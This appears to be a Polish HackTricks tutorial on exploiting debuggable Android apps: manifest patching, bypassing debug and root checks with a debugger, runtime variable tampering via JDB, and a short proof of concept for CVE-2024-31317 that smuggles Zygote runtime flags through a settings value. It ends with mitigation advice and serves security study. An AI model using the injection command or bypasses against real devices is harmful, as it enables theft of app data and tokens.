Wykorzystywanie aplikacji debugowalnej
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Obchodzenie kontroli root i debugowalności
Ta sekcja posta jest podsumowaniem z posta https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
Kroki, aby uczynić aplikację Android debugowalną i obejść kontrole
Uczynienie aplikacji debugowalną
Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- Dezkompilacja APK:
- Wykorzystaj narzędzie APK-GUI do dezkompilacji APK.
- W pliku android-manifest wstaw
android:debuggable="true"
, aby włączyć tryb debugowania. - Ponownie skompiluj, podpisz i zipalignuj zmodyfikowaną aplikację.
- Zainstaluj zmodyfikowaną aplikację:
- Użyj polecenia:
adb install <application_name>
.
- Pobierz nazwę pakietu:
- Wykonaj
adb shell pm list packages –3
, aby wylistować aplikacje firm trzecich i znaleźć nazwę pakietu.
- Ustaw aplikację, aby czekała na połączenie debuggera:
- Polecenie:
adb shell am setup-debug-app –w <package_name>
. - Uwaga: To polecenie musi być uruchamiane za każdym razem przed uruchomieniem aplikacji, aby upewnić się, że czeka na debuger.
- Aby uzyskać trwałość, użyj
adb shell am setup-debug-app –w ––persistent <package_name>
. - Aby usunąć wszystkie flagi, użyj
adb shell am clear-debug-app <package_name>
.
- Przygotowanie do debugowania w Android Studio:
- Przejdź w Android Studio do File -> Open Profile or APK.
- Otwórz ponownie skompilowane APK.
- Ustaw punkty przerwania w kluczowych plikach Java:
- Umieść punkty przerwania w
MainActivity.java
(szczególnie w metodzieonCreate
),b.java
iContextWrapper.java
.
Obchodzenie kontroli
Aplikacja w pewnych momentach będzie weryfikować, czy jest debugowalna i sprawdzi również binaria wskazujące na zrootowane urządzenie. Debugger może być użyty do modyfikacji informacji o aplikacji, usunięcia bitu debugowalności i zmiany nazw wyszukiwanych binariów, aby obejść te kontrole.
Dla kontroli debugowalności:
- Modyfikacja ustawień flag:
- W sekcji zmiennych konsoli debuggera przejdź do:
this mLoadedAPK -> mApplicationInfo -> flags = 814267974
. - Uwaga: Reprezentacja binarna
flags = 814267974
to11000011100111011110
, co wskazuje, że "Flag_debuggable" jest aktywna.
Te kroki zbiorczo zapewniają, że aplikacja może być debugowana i że pewne kontrole bezpieczeństwa mogą być obchodzone za pomocą debuggera, co ułatwia bardziej szczegółową analizę lub modyfikację zachowania aplikacji.
Krok 2 polega na zmianie wartości flagi na 814267972, co jest reprezentowane w postaci binarnej jako 110000101101000000100010100.
Wykorzystywanie luki
Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textview. Początkowo aplikacja wyświetla "Crack Me". Celem jest zmiana komunikatu z "Try Again" na "Hacked" w czasie rzeczywistym, bez modyfikacji kodu źródłowego.
Sprawdzanie podatności
- Aplikacja została dezkompilowana za pomocą
apktool
, aby uzyskać dostęp do plikuAndroidManifest.xml
. - Obecność
android_debuggable="true"
w AndroidManifest.xml wskazuje, że aplikacja jest debugowalna i podatna na wykorzystanie. - Warto zauważyć, że
apktool
jest używany wyłącznie do sprawdzenia statusu debugowalności bez modyfikacji jakiegokolwiek kodu.
Przygotowanie ustawienia
- Proces obejmował uruchomienie emulatora, zainstalowanie podatnej aplikacji i użycie
adb jdwp
, aby zidentyfikować porty Dalvik VM, które nasłuchują. - JDWP (Java Debug Wire Protocol) umożliwia debugowanie aplikacji działającej w VM, udostępniając unikalny port.
- Przekierowanie portów było konieczne do zdalnego debugowania, a następnie dołączenia JDB do docelowej aplikacji.
Wstrzykiwanie kodu w czasie rzeczywistym
- Wykorzystanie luki odbyło się poprzez ustawienie punktów przerwania i kontrolowanie przepływu aplikacji.
- Użyto poleceń takich jak
classes
imethods <class_name>
, aby odkryć strukturę aplikacji. - Ustawiono punkt przerwania w metodzie
onClick
, a jego wykonanie było kontrolowane. - Użyto poleceń
locals
,next
iset
, aby sprawdzić i zmodyfikować lokalne zmienne, szczególnie zmieniając komunikat "Try Again" na "Hacked". - Zmodyfikowany kod został wykonany za pomocą polecenia
run
, skutecznie zmieniając wyjście aplikacji w czasie rzeczywistym.
Ten przykład pokazał, jak można manipulować zachowaniem debugowalnej aplikacji, podkreślając potencjał bardziej złożonych exploitów, takich jak uzyskanie dostępu do powłoki na urządzeniu w kontekście aplikacji.
2024 – Przekształcanie dowolnej aplikacji w proces debugowalny (CVE-2024-31317)
Nawet jeśli docelowy APK nie jest dostarczany z flagą android:debuggable
, niedawne badania wykazały, że możliwe jest wymuszenie dowolnych aplikacji do uruchomienia z flagą runtime DEBUG_ENABLE_JDWP
, nadużywając sposób, w jaki Zygote analizuje argumenty wiersza poleceń.
- Luka: Niewłaściwa walidacja
--runtime-flags
dostarczonych przez gniazdo poleceń Zygote pozwala atakującemu, który może uzyskać dostęp dosystem_server
(na przykład za pomocą uprzywilejowanego powłokiadb
, która posiada uprawnienieWRITE_SECURE_SETTINGS
), na wstrzyknięcie dodatkowych parametrów. Gdy stworzona komenda jest odtwarzana przezsystem_server
, aplikacja ofiary jest forkowana jako debugowalna i z wątkiem JDWP nasłuchującym. Problem jest śledzony jako CVE-2024-31317 i został naprawiony w czerwcu 2024 roku w Biuletynie Bezpieczeństwa Androida. - Wpływ: Pełny dostęp do odczytu/zapisu do prywatnego katalogu danych dowolnej aplikacji (w tym uprzywilejowanych, takich jak
com.android.settings
), kradzież tokenów, obejście MDM i w wielu przypadkach bezpośrednia droga do eskalacji uprawnień poprzez nadużywanie eksportowanych punktów IPC teraz debugowalnego procesu. - Dotknięte wersje: Android 9 do 14 przed poziomem łaty z czerwca 2024 roku.
Szybki PoC
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
Wartość stworzona w kroku 1 wyprowadza parser z „szybkiej ścieżki” i dodaje drugie syntetyczne polecenie, gdzie
--runtime-flags=0x104
(DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE
) jest akceptowane tak, jakby zostało dostarczone przez framework. Gdy aplikacja jest uruchamiana, otwierany jest gniazdo JDWP, a regularne sztuczki dynamicznego debugowania (zamiana metod, patchowanie zmiennych, żywe wstrzykiwanie Frida itp.) są możliwe bez modyfikowania APK lub obrazu rozruchowego urządzenia.
Wykrywanie i łagodzenie
- Zaktualizuj do poziomu zabezpieczeń 2024-06-01 (lub późniejszego) – Google wzmocnił
ZygoteCommandBuffer
, aby kolejne polecenia nie mogły być przemycane w ten sposób. - Ogranicz dostęp
WRITE_SECURE_SETTINGS
/shell
na urządzeniach produkcyjnych. Eksploatacja wymaga tego uprawnienia, które normalnie posiadają tylko aplikacje ADB lub OEM z przywilejami. - W flotach zarządzanych przez EMM/MDM wymuś
ro.debuggable=0
i odmów dostępu do powłoki za pomocąadb disable-verifier
.
Odniesienia
- https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
- https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
- https://blog.flanker017.me/cve-2024-31317/
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.